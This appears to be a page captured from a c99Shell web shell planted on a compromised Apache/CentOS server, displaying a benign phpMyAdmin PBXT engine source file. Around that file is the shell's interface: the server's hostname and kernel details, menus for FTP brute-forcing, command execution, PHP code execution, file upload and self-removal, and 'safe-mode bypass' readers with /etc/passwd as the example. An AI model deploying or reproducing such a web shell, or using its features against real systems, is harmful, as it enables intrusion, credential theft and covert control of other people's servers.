!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/engines/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pbxt.lib.php (6.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * @package phpMyAdmin-Engines
 */

/**
 * the MyISAM storage engine
 * @package phpMyAdmin-Engines
 */
class PMA_StorageEngine_pbxt extends PMA_StorageEngine
{
    
/**
     * returns array with variable names dedicated to PBXT storage engine
     *
     * @return  array   variable names
     */
    
function getVariables()
    {
        return array(
            
'pbxt_index_cache_size' => array(
                
'title' => __('Index cache size'),
                
'desc'  => __('This is the amount of memory allocated to the index cache. Default value is 32MB. The memory allocated here is used only for caching index pages.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_record_cache_size' => array(
                
'title' => __('Record cache size'),
                
'desc'  => __('This is the amount of memory allocated to the record cache used to cache table data. The default value is 32MB. This memory is used to cache changes to the handle data (.xtd) and row pointer (.xtr) files.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_log_cache_size' => array(
                
'title' => __('Log cache size'),
                
'desc'  => __('The amount of memory allocated to the transaction log cache used to cache on transaction log data. The default is 16MB.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_log_file_threshold' => array(
                
'title' => __('Log file threshold'),
                
'desc'  => __('The size of a transaction log before rollover, and a new log is created. The default value is 16MB.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_transaction_buffer_size' => array(
                
'title' => __('Transaction buffer size'),
                
'desc'  => __('The size of the global transaction log buffer (the engine allocates 2 buffers of this size). The default is 1MB.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_checkpoint_frequency' => array(
                
'title' => __('Checkpoint frequency'),
                
'desc'  => __('The amount of data written to the transaction log before a checkpoint is performed. The default value is 24MB.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_data_log_threshold' => array(
                
'title' => __('Data log threshold'),
                
'desc'  => __('The maximum size of a data log file. The default value is 64MB. PBXT can create a maximum of 32000 data logs, which are used by all tables. So the value of this variable can be increased to increase the total amount of data that can be stored in the database.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_garbage_threshold' => array(
                
'title' => __('Garbage threshold'),
                
'desc'  => __('The percentage of garbage in a data log file before it is compacted. This is a value between 1 and 99. The default is 50.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_NUMERIC
            
),
            
'pbxt_log_buffer_size' => array(
                
'title' => __('Log buffer size'),
                
'desc'  => __('The size of the buffer used when writing a data log. The default is 256MB. The engine allocates one buffer per thread, but only if the thread is required to write a data log.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_data_file_grow_size' => array(
                
'title' => __('Data file grow size'),
                
'desc'  => __('The grow size of the handle data (.xtd) files.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_row_file_grow_size' => array(
                
'title' => __('Row file grow size'),
                
'desc'  => __('The grow size of the row pointer (.xtr) files.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_SIZE
            
),
            
'pbxt_log_file_count' => array(
                
'title' => __('Log file count'),
                
'desc'  => __('This is the number of transaction log files (pbxt/system/xlog*.xt) the system will maintain. If the number of logs exceeds this value then old logs will be deleted, otherwise they are renamed and given the next highest number.'),
                
'type'  => PMA_ENGINE_DETAILS_TYPE_NUMERIC
            
),
        );
    }

    
/**
     * returns the pbxt engine specific handling for
     * PMA_ENGINE_DETAILS_TYPE_SIZE variables.
     *
     * @param   string   $formatted_size   the size expression (for example 8MB)
     *
     * @return string the formatted value and its unit
     */
    
function resolveTypeSize($formatted_size)
    {
        if (
preg_match('/^[0-9]+[a-zA-Z]+$/'$formatted_size)){
            
$value PMA_extractValueFromFormattedSize($formatted_size);
        } else {
            
$value $formatted_size;
        }
        return 
PMA_formatByteDown($value);
    }

    
//--------------------
    
function getInfoPages()
    {
        
$pages = array();
        
$pages['Documentation'] = __('Documentation');
        return 
$pages;
    }

    
//--------------------
    
function getPage($id)
    {
        if (! 
array_key_exists($id$this->getInfoPages())) {
            return 
false;
        }

        
$id 'getPage' $id;

        return 
$this->$id();
    }

    function 
getPageDocumentation()
    {
        
$output '<p>'
        
sprintf(__('Documentation and further information about PBXT can be found on the %sPrimeBase XT Home Page%s.'), '<a href="' PMA_linkURL('http://www.primebase.com/xt/') . '" target="_blank">''</a>')
        . 
'</p>' "\n"
        
'<h3>' __('Related Links') . '</h3>' "\n"
        
'<ul>' "\n"
        
'<li><a href="' PMA_linkURL('http://pbxt.blogspot.com/') . '" target="_blank">' __('The PrimeBase XT Blog by Paul McCullagh') . '</a></li>' "\n"
        
'<li><a href="' PMA_linkURL('http://www.blobstreaming.org/') . '" target="_blank">' __('The PrimeBase Media Streaming (PBMS) home page') . '</a></li>' "\n"
        
'</ul>' "\n";

        return 
$output;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0171 ]--